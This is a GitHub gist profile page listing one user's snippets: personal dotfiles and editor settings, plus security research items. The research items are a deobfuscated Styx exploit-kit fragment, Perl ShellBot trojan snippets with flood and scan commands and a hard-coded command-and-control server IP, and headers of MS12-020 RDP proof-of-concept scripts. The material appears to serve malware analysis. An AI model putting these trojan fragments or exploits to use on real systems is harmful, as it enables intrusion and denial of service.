Skip to content

Instantly share code, notes, and snippets.

View jamesejr's full-sized avatar

James Espinosa jamesejr

78 followers · 190 following
View GitHub Profile
@jamesejr
jamesejr / styx_ek.js
Last active August 29, 2015 13:55
A deobfuscated portion of the JavaScript code found on the Styx exploit kit
function NyMpwEMG() {
var FHQxrYhsp = window.PluginDetect.getVersion("Java");
if (typeof FHQxrYhsp == 'string') {
FHQxrYhsp = FHQxrYhsp.split(",");
if (FHQxrYhsp[3].length == 1) {
FHQxrYhsp = "" + FHQxrYhsp[1] + "0" + FHQxrYhsp[3];
} else {
FHQxrYhsp = "" + FHQxrYhsp[1] + FHQxrYhsp[3];
}
} else {
@jamesejr
jamesejr / keybase.md
Created October 3, 2014 05:35
GitHub identify proof for Keybase.io verification

Keybase proof

I hereby claim:

  • I am jamesejr on github.
  • I am jamesejr (https://keybase.io/jamesejr) on keybase.
  • I have a public key whose fingerprint is 4FD5 7133 4DE8 A421 59D3 8A32 6586 A1B1 A40C 39F4

To claim this, I am signing this object:

@jamesejr
jamesejr / .bashrc
Last active December 14, 2015 11:19
Personal .bashrc file with Terminal colors, Homebrew tab completion, and custom Bash/Git prompts
# Add Git branch prompt
function git-current-branch {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1) /'
}
# Add custom bash prompt via kirsle.net/wizards/ps1.html
export PS1="\u@macbook \[$(tput setaf 2)\][\W] \[$(tput setaf 1)\]\$(git-current-branch)\[$(tput setaf 7)\]> \[$(tput sgr0)\]"
# Add Git auto completion support
source /Library/Developer/CommandLineTools/usr/share/git-core/git-completion.bash
@jamesejr
jamesejr / .vimrc
Last active December 18, 2015 22:39 — forked from todb-r7/.vimrc
Personal .vimrc file used for Metasploit Framework development
" If using Janus, then this should be .vimrc.after
" Technically this is really a gvimrc but who's counting.
set nocompatible
colorscheme slate
filetype plugin indent on
set hls
" Metasploit's current default tabs
set tabstop=2 softtabstop=2 shiftwidth=2 noexpandtab shiftround smarttab
@jamesejr
jamesejr / .bash_profile
Created December 7, 2013 23:29
Personal .bash_profile file used by the Ruby Version Manager (RVM)
# Source our bashrc file, hacky?
source ~/.bashrc
export PATH=/usr/local/bin:$PATH
# Load RVM into a shell session, as a function
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"
@jamesejr
jamesejr / shellbot_a.pl
Last active January 1, 2016 06:59
A snippet of the Perl/ShellBot.B Trojan variant script targeting phpMyAdmin
#!/usr/bin/perl
# ShellBOT
#
# Comenzi: !all
# - @udp <ip> <port> <timp>;
# - @fullportscan <ip> <start port> <final port>;
# - !quit;
# - !join <canal> <key> e !part <canal> <reason>;
# - !op !deop !voice !devoice <canal> <nick>;
# - !msg !ctcp 1 2;
@jamesejr
jamesejr / shellbot_b.pl
Last active January 1, 2016 06:59
A snippet of the Perl/ShellBot.B Trojan variant script observed from ISC Diary
#!/usr/bin/perl
my @mast3rs = ("pizza");
my @hostauth = ("sosick.net");
my @admchan=("#X");
my @server = ("89.248.172.144");
$servidor= $server[rand scalar @server] unless $servidor;
my $xeqt = "''";
@jamesejr
jamesejr / ms12-020.rb
Created August 24, 2013 23:16
MS12-020 Remote Desktop Protocol (RDP) Remote Code Execution PoC (Ruby)
#!/usr/bin/env ruby
#
# ms12-020 PoC attempt
#
# NOTE: This was crafted based on a legit connection packet capture and reversing
# a packet capture of the leaked MAPP PoC.
#
# by Joshua J. Drake (jduck)
#
@jamesejr
jamesejr / sublime-settings
Last active May 15, 2019 06:16
Personal customized Sublime Text 3 configuration file with Inconsolata font
{
"bold_folder_labels": true,
"caret_extra_width": 1,
"caret_style": "phase",
"close_windows_when_empty": false,
"color_scheme": "Packages/Theme - Spacegray/base16-ocean.dark.tmTheme",
"draw_minimap_border": true,
"enable_tab_scrolling": false,
"font_face": "Inconsolata",
"font_options":
@jamesejr
jamesejr / ms12-020.py
Created August 24, 2013 23:13
MS12-020 Remote Desktop Protocol (RDP) Remote Code Execution PoC (Python)
#
#
# ms12-020 "chinese shit" PoC v2 (wireshark version)
#
# tested on winsp3 spanish, reported to work on Win7, win 2008
#
# original source: http://115.com/file/be27pff7
#
#